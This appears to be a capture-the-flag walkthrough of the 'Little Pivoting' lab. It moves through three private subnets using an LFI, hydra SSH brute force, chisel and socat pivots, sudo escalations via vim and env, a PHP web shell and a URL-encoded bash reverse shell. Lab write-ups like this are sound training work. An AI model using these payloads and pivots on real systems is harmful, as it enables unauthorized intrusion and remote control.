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Box Info

Name	Little Pivoting
Release Date	19 April, 2024
OS	Linux
Rated Difficulty	Medium

**Download lab here: https://dockerlabs.es/

Network diagram

Nmap

nmap -p- --open --min-rate 5000 -n -sS -vvv -Pn 10.10.10.2 -oG allports
nmap -sCV -p 22,80 10.10.10.2 -oN targeted

# Nmap 7.94SVN scan initiated Fri Sep 20 19:00:41 2024 as: nmap -sCV -p 22,80 -oN targeted 10.10.10.2
Nmap scan report for 10.10.10.2 (10.10.10.2)
Host is up (0.00015s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_  256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.57 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 20 19:00:48 2024 -- 1 IP address (1 host up) scanned in 6.66 seconds

The first page we found a default page from Apache, I will use feroxbuster for directory scan for found some interesting.

feroxbuster -u http://10.10.10.2/

http://10.10.10.2/shop/

Its a variable of php, so that means we can use a Local File Inclusion with php.

LFI

http://10.10.10.2/shop/index.php?archivo=/etc/passwd

http://10.10.10.2/shop/index.php?archivo=../../../../etc/passwd

By adding 'index.php' at the end of the URL, the web server interprets that a PHP file in the root directory of the website is being accessed, and then the 'archivo' parameter is used to include the specified file in the URL.

We found 2 users:

seller❌1000:1000:seller,,,:/home/seller:/bin/bash manchi❌1001:1001:manchi,,,:/home/manchi:/bin/bash

Brute Force Attack | SSH

hydra -l manchi -P /usr/share/wordlists/rockyou.txt ssh://10.10.10.2 -t  4

> hostname -I

The script scans for devices on the network 20.20.20.1 to 20.20.20.254 by pinging each IP address to find out which ones are active.

#!/bin/bash

for host in $(seq 1 254); do
	timeout 1 bash -c "ping -c 1 20.20.20.$host &>/dev/null" && echo "[+] HOST - 20.20.20.$host"
done; wait

Pivoting | 20.20.20.0/24

manchi

Upload chisel to victim machine
Execute chisel in attack machine

./chisel server -p 6150 --reverse

Execute chisel in victim machine.

As you can see, port 1080 is open by default in our machine. This port is crucial for the exchange of communications between 10.10.10.2 and our IP, {10.10.10.1}.

./chisel client {IP}:6150 R:socks

We just need to configure the proxychains.
1. uncomment dynamic_chain and comment strict_chain

1. Comment socks4 and add socks5 127.0.0.1 1080

Nmap | ProxyChains

Specify ports 22 and 80 because they are the only ones that appeared in the initial scan.

sudo proxychains nmap -sCV -sT -Pn 22,80 20.20.20.3 2>&1 | grep -vE "timeout|OK"

FoxyProxy

We gonna add the socks to foxyproxy extension in firefox for see the web page of 20.20.20.3.

We have another default page from Apache 2. I guess we have to follow the same process as before.

feroxbuster -u http://20.20.20.3/ --proxy socks5://127.0.0.1:1080

feroxbuster -u http://20.20.20.3/secret.php/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1080 -x php,html

Possible user: Mario

Remote Port Forwarding

I suppose we have to do the brute force attack process again to get "mario" password, however we cannot specify a specific port for hydra, it has its own default port which is 22. Now we will bring port 22 from machine 20.20.20.3 to be our port 22, a remote port forwarding for attack the our port 22.

We need to create a new login as manchi and run again the chisel.

./chisel client 10.10.10.1:6150 R:22:20.20.20.3:22

./chisel server -p 6150 --reverse

lsof -i:22

Brute Force Attack | 20.20.20.3

Mario

hydra -l mario ssh://127.0.0.1 -P /usr/share/wordlists/rockyou.txt -t 4

proxychains ssh mario@20.20.20.3

sudo -l

GTFO

sudo vim -c ':!/bin/sh'

Run againt the script.

Pivoting | 30.30.30.0/24

We send the chisel bin from 20.20.20.2(manchi) to 20.20.20.3(Mario).

Now we will use socat, which will allow us, from the machine 30.30.30.2, to connect with chisel to the machine 20.20.20.2, and the machine 20.20.20.2 will redirect that connection to 10.10.10.1, which is us.

https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat

manchi 20.20.20.2
./socat TCP-LISTEN:1111,fork TCP:10.10.10.1:6150

Connection from 20.20.20.3 to 20.20.20.2: The machine 20.20.20.3 connects to the compromised machine (20.20.20.2) on port 1111 using chisel and the fork option allows handling multiple connections simultaneously..
Redirection by socat: When a connection is established on port 1111 of 20.20.20.2, socat redirects that connection to the machine 10.10.10.1 on port 6150.

root 20.20.20.3
./chisel client 20.20.20.2:1111 R:1111:socks

Data flow: This allows any traffic that arrives at port 1111 on 20.20.20.2 to be sent to 10.10.10.1:6150, and vice versa, enabling communication between 20.20.20.3 and 10.10.10.1 through the compromised machine.

2024/09/21 00:48:54 server: session#4: tun: proxy#R:127.0.0.1:1111=>socks: Listening

Nmap | 30.30.30.3

sudo proxychains nmap -sCV -sT -Pn -p 22,80 30.30.30.3 2>&1 | grep -vE "timeout|OK"

We have only port 80 open.

RCE

config the foxyproxy for visualizer the web page

I will upload empty file for see if found some error when upload the empty file.

feroxbuster -u http://30.30.30.3/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1111 -x php,html,js,txt

<?php 
system($_GET['cmd']);
__HALT_COMPILER();
?>

For get a reverse shell we need to log in as mario. (proxychains ssh mario@20.20.20.3 | chocolate)

root 20.20.20.3
./socat TCP-LISTEN:443,fork TCP:20.20.20.2:442

manchi 20.20.20.2
./socat TCP-LISTEN:442,fork TCP:10.10.10.1:441

http://30.30.30.3/uploads/f.php?cmd=bash+-c+%27bash+-i+%3E%26+/dev/tcp/30.30.30.2/443+0%3E%261%27

Privilege Escalation | SUID

sudo -l

GTFO-Env

sudo env /bin/bash

Pwned!

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